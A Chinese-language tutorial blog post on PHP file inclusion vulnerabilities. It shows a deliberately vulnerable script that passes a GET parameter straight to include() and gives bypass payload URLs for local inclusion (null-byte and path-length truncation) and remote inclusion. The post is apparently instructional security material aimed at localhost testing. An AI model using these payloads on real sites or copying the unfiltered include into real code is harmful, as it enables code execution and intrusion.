zoukankan      html  css  js  c++  java
  • 文件包含

    定义

    文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

    利用函数

    php中提供四个文件包含的函数,分别是include(),include_once(),require()和require_once()。这四个都可以进行文件包含,但有区别

    require:找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本
    
    include:找不到被包含的文件时只会产生警告(E_WARNING),脚本继续执行
    
    include_once:此语句和include类似,唯一区别就是如果该文件中的代码已经被包含,则不会再次包含
    
    require_once:此语句和require类似,唯一区别就是如果该文件中的代码已经被包含。则不会再次包含 

    本地文件包含

    测试代码

    <?php
    
        $filename  = $_GET['filename'];    
    
        include($filename);
    
    ?>

    结果

    本地文件包含绕过限制

    %00截断

    条件:magic_quotes_gpc = Off

              php版本<5.3.4

    payload:http://localhost/test.php?filename=phpinfo.php%00

    路径长度截断

    条件:windows,点号需要长于256

              linux,长于4096

    Windows下目录最大长度为256字节,超出的部分会被丢弃;
    
    Linux下目录最大长度为4096字节,超出的部分会被丢弃。 

    payload:http://localhost/test.php?filename=phpinfo.php/./././././././././././././././././././././././././././././././././././././././

    点号截断

    条件:windows OS,点号需要长于256

    与路径长度截断类似,长度大于规定程度即可

     payload:http://localhost/test.php?filename=phpinfo.php................................................................................

    远程文件包含

    测试代码

    <?php
    
        $filename  = $_GET['filename'];    
    
        include($filename);
    
    ?>

    漏洞前提条件:allow_url_include需要开启,允许url include

    远程文件包含绕过限制

    主要是利用了url的解析

    ?号绕过

    http://localhost/test.php?filename=http://localhost:8080/php.txt?

    #号绕过

    http://localhost/test.php?filename=http://localhost:8080/php.txt#

    空格绕过

    http://localhost/test.php?filename=http://localhost:8080/php.txt%20

    上面例子url都是http协议的,还有其他伪协议也可以,

  • 相关阅读:
    Out of Hay POJ
    Sum Problem hdu 1001
    N! hdu 1042
    线性表的链式表示和实现(插入删除建空合并)
    NYOJ 1007
    NYOJ 954
    NYOJ 998
    NYOJ 455
    NYOJ 975
    数据结构复习0---线性表
  • 原文地址:https://www.cnblogs.com/alummox/p/11871038.html
Copyright © 2011-2022 走看看